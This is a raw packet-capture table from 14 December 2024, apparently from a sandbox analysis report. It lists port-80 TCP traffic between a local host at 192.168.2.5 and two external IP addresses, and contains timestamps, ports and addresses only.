Dec 14, 2024 14:56:28.684389114 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.684479952 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.684515953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.684551001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.684565067 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.684607029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.684607029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.684956074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.685007095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.685199022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.685256004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.685338020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.685457945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.686337948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.686392069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.686474085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.686523914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.686871052 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.687017918 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.687566996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.687644005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.687675953 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.687689066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.688071966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.688569069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.688621044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.688673973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.689138889 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.689275980 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.689404011 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.689644098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.689696074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.689779997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.689834118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.690766096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.690817118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.690888882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.690937042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.691621065 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.691658020 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.691775084 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.691900969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.691957951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.692027092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.692078114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.692807913 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.692895889 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.692994118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.693030119 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.693041086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.693104982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.693201065 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.694144011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.694196939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.694196939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.694231987 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.694247007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.694267035 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.694323063 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.695224047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.695274115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.695357084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.695406914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.695457935 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.695533037 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.695588112 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.696335077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.696402073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.696468115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.696517944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.696774960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.696898937 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.696969032 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.697448015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.697504044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.697560072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.697608948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.698107004 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.698232889 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.698559999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.698611975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.698661089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.698661089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.698710918 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.699441910 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.699579000 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.699667931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.699724913 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.699765921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.699784994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.699873924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.700853109 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.700886011 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.700922012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.700957060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.700985909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.701016903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.701037884 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.701941013 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.701987982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.702054977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.702140093 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.702155113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.702173948 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.702253103 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.703020096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.703067064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.703135014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.703186989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.704313040 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.704325914 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.704336882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.704348087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.704422951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.704422951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.704468966 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.704839945 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.704936028 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.705216885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.705265045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.705276966 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.705333948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.705375910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.706084967 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.706204891 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.706377029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.706423044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.706465006 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.706489086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.707433939 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.707478046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.707484007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.707487106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.707513094 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.707539082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.707571983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.707696915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.708620071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.708730936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.708781958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.708790064 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.708887100 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.709309101 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.709721088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.709763050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.709796906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.709959984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.710079908 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.710206032 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.710263014 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.710789919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.710832119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.710897923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.710942984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.711400032 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.711519003 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.711801052 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.711920977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.711970091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.712044001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.712088108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.712740898 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.712867975 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.713011026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.713057041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.713064909 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.713135958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.713181019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.714068890 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.714144945 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.714155912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.714205027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.714225054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.714225054 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.715265989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.715327024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.715346098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.715394974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.715450048 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.715460062 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.715511084 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.716355085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.716418028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.716499090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.716545105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.716715097 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.716860056 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.717473030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.717581034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.717617989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.717617989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.717658043 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.718091011 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.718276978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.718370914 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.718583107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.718631029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.718702078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.718790054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.719429970 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.719593048 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.719713926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.719764948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.719810963 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.719830036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.720607996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.720757008 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.720875978 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.720890045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.720911980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.720937014 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.720938921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.720959902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.721924067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.722035885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.722090006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.722093105 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.722110033 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.722496033 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.723030090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.723094940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.723135948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.723179102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.723407984 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.723493099 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.724160910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.724217892 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.724263906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.724299908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.724299908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.724714041 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.724822998 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.724867105 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.725352049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.725409031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.725424051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.725467920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.726100922 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.726186991 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.726366043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.726500034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.726516962 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.726535082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.726535082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.727516890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.727657080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.727710009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.728693008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.728876114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.728928089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.729720116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.729777098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.729825020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.729871988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.730835915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.730890036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.730967999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.731014013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.732052088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.732108116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.732127905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.732170105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.733102083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.733223915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.733278990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.734191895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.734252930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.734292030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.734339952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.735310078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.735372066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.735455036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.735502958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.736401081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.736458063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.736522913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.737534046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.737590075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.737643003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.737718105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.738640070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.738694906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.738728046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.738775969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.739774942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.739825964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.739870071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.739912033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.740859032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.740942001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.741000891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.741044044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.741959095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.742003918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.742057085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.742095947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.828497887 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.828566074 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.828773022 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.829099894 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.829237938 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.829297066 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.830449104 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.830550909 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.830686092 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.831748962 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.831887960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.832240105 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.833076000 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.833225965 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.833374023 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.834372044 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.834490061 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.834527969 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.835645914 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.835769892 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.835802078 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.836900949 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.837009907 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.837076902 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.838299990 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.838401079 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.838471889 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.839345932 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.839445114 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.839540958 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.840559006 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.840696096 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.841113091 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.841747999 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.841819048 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.841932058 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.842897892 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.843039036 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.843121052 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.844113111 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.844197035 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.844305992 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.845228910 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.845354080 CET	80	49879	185.81.68.147	192.168.2.5
